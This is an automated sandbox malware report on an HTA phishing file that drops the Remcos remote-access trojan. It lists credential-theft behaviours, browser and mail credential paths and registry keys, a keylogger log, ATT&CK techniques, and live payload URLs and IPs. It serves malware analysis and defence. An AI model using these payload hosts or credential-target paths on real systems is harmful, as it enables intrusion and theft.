Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4104782435.0000000002EAF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

12_2_0040B21B

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		12_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: \key3.db		12_2_0040B335

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Paltalk

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail

Tries to steal Mail credentials (via file registry)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: ESMTPPassword	14_2_004033F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword	14_2_00402DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword	14_2_00402DB3

Yara detected WebBrowserPassView password recovery tool

Source: Yara match

File source: Process Memory Space: CasPol.exe PID: 8132, type: MEMORYSTR

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-ET2B3I

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4104782435.0000000002EAF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: cmd.exe

12_2_00405042

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	21 Native API	111 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	2 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	132 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	2 Credentials in Registry	1 System Service Discovery	SMB/Windows Admin Shares	11 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 Bypass User Account Control	3 Credentials In Files	3 File and Directory Discovery	Distributed Component Object Model	211 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	422 Process Injection	1 Masquerading	LSA Secrets	39 System Information Discovery	SSH	3 Clipboard Data	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	422 Process Injection	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
verynicegirlwalkingarounftheworldmuuuah.hta	13%	Virustotal		Browse
verynicegirlwalkingarounftheworldmuuuah.hta	11%	ReversingLabs	Win32.Phishing.Generic

Source	Detection	Scanner	Label
http://172.245.123.7/	0%	Avira URL Cloud	safe
http://172.245.123.7/77/kissingbestthingswithgreatdayscomingforhim.txt	0%	Avira URL Cloud	safe
http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIF	0%	Avira URL Cloud	safe
http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIFMSIL	0%	Avira URL Cloud	safe
http://172.245.123.7/77/seethebe	0%	Avira URL Cloud	safe
http://crl.microsoftX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geoplugin.net	178.237.33.50	true	false		high
res.cloudinary.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIF	true	Avira URL Cloud: safe	unknown
http://172.245.123.7/77/kissingbestthingswithgreatdayscomingforhim.txt	true	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://172.245.123.7/	powershell.exe, 00000003.00000002.1777884183.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1776250099.000000000575C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.imvu.comr	CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.imvu.com	CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.nirsoft.net	CasPol.exe, 0000000D.00000002.1947882801.0000000000EEF000.00000004.00000010.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka..winsvr	powershell.exe, 00000003.00000002.1779425802.0000000007CA1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://github.com/koswald/VBScript/blob/master/SetupPerUser.md	wscript.exe, 00000006.00000003.1746388479.000000000359F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746292531.0000000005DBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1743748837.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1749746793.0000000005AF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746708576.00000000059F1000.00000004.00000020.00020000.00000000.sdmp, seethebestthingsforgetmebackwithgoodnewsthings[1].tiff.3.dr, seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	false		high
https://www.google.com	CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpgt	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://172.245.123.7/77/seethebe	powershell.exe, 00000003.00000002.1774693140.0000000004B11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.1774693140.00000000046F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/koswald/VBScript/blob/master/ProjectInfo.vbs	wscript.exe, 00000006.00000003.1746292531.0000000005DBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1743748837.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1749746793.0000000005AF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746708576.00000000059F1000.00000004.00000020.00020000.00000000.sdmp, seethebestthingsforgetmebackwithgoodnewsthings[1].tiff.3.dr, seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1776250099.000000000575C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/accounts/servicelogin	CasPol.exe	false		high
https://login.yahoo.com/config/login	CasPol.exe	false		high
http://crl.microsoftX	powershell.exe, 00000007.00000002.1914783591.0000000002FFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nirsoft.net/	CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://github.com/koswald/VBScript	seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1774693140.00000000046F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg	powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIFMSIL	powershell.exe, 00000003.00000002.1777596640.0000000006D85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ebuddy.com	CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.245.123.7	unknown	United States	36352	AS-COLOCROSSINGUS	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
172.245.123.12	unknown	United States	36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590499
Start date and time:	2025-01-14 06:12:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	verynicegirlwalkingarounftheworldmuuuah.hta
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winHTA@24/20@3/3
EGA Information:	Successful, ratio: 85.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 173 Number of non-executed functions: 274
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.19.224.32, 104.17.202.1, 104.17.201.1, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ion.cloudinary.com.edgekey.net, e1315.dsca.akamaiedge.net, resc.cloudinary.com.cdn.cloudflare.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7236 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:12:55	API Interceptor	99x Sleep call for process: powershell.exe modified
00:13:51	API Interceptor	7729933x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
178.237.33.50	plugmancrypted.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	documents.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	c2.hta	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	c2.hta	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	I1ahLI8fId.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	yPIOW6yoPi.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	bwYw3UUfy7.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	1736491685b40eefbc9bdfbc98216071e6ff3a4c19c7e1ab8a144cde35036665da85346b6b949.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Material Requirments.pif.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	geoplugin.net/json.gp
172.245.123.12	Document.xla	Get hash	malicious	Unknown	Browse	172.245.123.12/233/eec/createdbetterthingswithgreatnressgivenmebackwithnice.hta
	createdbetterthingswithgreatnressgivenmebackwithnice.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	172.245.123.12/233/createdbestthingswithenergylevelgoodforbusinesspuropse.tIF
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12/233/eec/createdbetterthingswithgreatnressgivenmebackwithnice.hta
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12/233/eec/createdbetterthingswithgreatnressgivenmebackwithnice.hta
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12/233/eec/createdbetterthingswithgreatnressgivenmebackwithnice.hta
	seemebestgoodluckthings.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	172.245.123.12/361/TELNERA.txt
	PI-02911202409#.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	172.245.123.12/361/TELNERA.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geoplugin.net	plugmancrypted.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	documents.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	I1ahLI8fId.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	yPIOW6yoPi.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	bwYw3UUfy7.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1736491685b40eefbc9bdfbc98216071e6ff3a4c19c7e1ab8a144cde35036665da85346b6b949.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Material Requirments.pif.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	documents.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	NOGHCV09800.bat.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	198.23.159.149
	I1ahLI8fId.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	M6MafKT2pj.exe	Get hash	malicious	Remcos	Browse	192.3.64.152
	rZcI2tz327.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	Wk731bq71c.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	yPIOW6yoPi.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	C2R7VV2QmG.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
AS-COLOCROSSINGUS	documents.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	NOGHCV09800.bat.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	198.23.159.149
	I1ahLI8fId.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	M6MafKT2pj.exe	Get hash	malicious	Remcos	Browse	192.3.64.152
	rZcI2tz327.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	Wk731bq71c.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	yPIOW6yoPi.exe	Get hash	malicious	Remcos	Browse	198.23.227.212
	C2R7VV2QmG.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
ATOM86-ASATOM86NL	plugmancrypted.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	documents.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	c.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	I1ahLI8fId.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	yPIOW6yoPi.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	bwYw3UUfy7.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1736491685b40eefbc9bdfbc98216071e6ff3a4c19c7e1ab8a144cde35036665da85346b6b949.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.3708727686148316
Encrypted:	false
SSDEEP:	3:rglsKldvql55JWRal2Jl+7R0DAlBG45klovDl6v:Mlsfb5YcIeeDAlOWAv
MD5:	E8106A9111D512235AC9764302795F87
SHA1:	86A0365A3963D11DD5BFD72ACD9E68EC7B7ACBC4
SHA-256:	58E0E42EC870F93D14CDA388C8285E07F3D0160AFEC6A161380A69DA673F1779
SHA-512:	E3D75F77EDBA36CBE7CF834175B34242327A7006BFB9E441C3FD164E58C8F313ECD6D8A27F29CB7ADF75119DC80C2E2947BA78F09F849973A053897899F75723
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.5./.0.1./.1.4. .0.0.:.1.3.:.1.9. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\seethebestthingsforgetmebackwithgoodnewsthings[1].tiff

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11274), with CRLF line terminators
Category:	dropped
Size (bytes):	235047
Entropy (8bit):	5.22901885652912
Encrypted:	false
SSDEEP:	3072:A8gVmI3b0mgfmWu+Pee9VOv5iG5sVhQ30Wk+70wgA1A:A8gVqee9VOvM
MD5:	28EA1C4F19651AB6CFD1828943BD7913
SHA1:	03FC2176B4BB04FD903C217EDD487EFEF0DD9505
SHA-256:	9700962BC78CF83F0D780D391CFB1276490B0972D826424CD3631BDF78B24968
SHA-512:	7C0479CCD140B149F8234171F53C4FDE63C7D27E007C8BF3FF3ECD1389954D87F53F69845025D2762292195BD0FD33264E3CC39DF00D7CB8003FD5210CE7E694
Malicious:	false
Preview:	Dim sh 'WScript.Shell object..Dim fso 'Scripting.FileSystemObject..Dim format 'StringFormatter object..Dim suiteFolder 'string: folder where test suite scripts are located..Dim projectFolder 'string: root folder for this project..Dim suiteFilter 'string: filename filter for selecting integration test suites...Dim caption 'string: MsgBox/PopUp title bar text...Dim aDocGens 'array of strings: filespecs for code-comment-based documentation generators...Dim aGits 'array of strings: common filespecs for Git bash and Git GUI executables...Dim aDocs 'array of strings: filespecs for last-minute docs to update before a push...Dim nextItem 'integer: current index of the prepItems array...Dim settings 'integer: controls MsgBox/PopUp behaviour...Dim prepItems 'array: list of prcedure (Sub) names to be called by window.SetTimeout...Dim flagFile 'string: filename of a temp file used by Setup.vbs...Dim versionLink 'web page with version info..Dim editor 'document editor..Dim powershell 'filespec of a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	5.018421233492188
Encrypted:	false
SSDEEP:	12:tkluWJmnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkv:qlupdVauKyGX85jvXhNlT3/7XcV7Wro
MD5:	EB2FF94DBB57A448547893913F07269C
SHA1:	DF7B8498413BA06578D4743941ED5664A88945FC
SHA-256:	0FAD6CBFD4862A474081C36DF3E5E29F45A5EAC652C02BEF9E3637A7EB388B96
SHA-512:	F2D29C38E688792AC270E45DC9213ED1C58ACEE67B7C18F4873296A9FC3D1B2F79B317712EFBCB1CDC9A637070C87605DE39387B5246A7B9644B15EF25494374
Malicious:	false
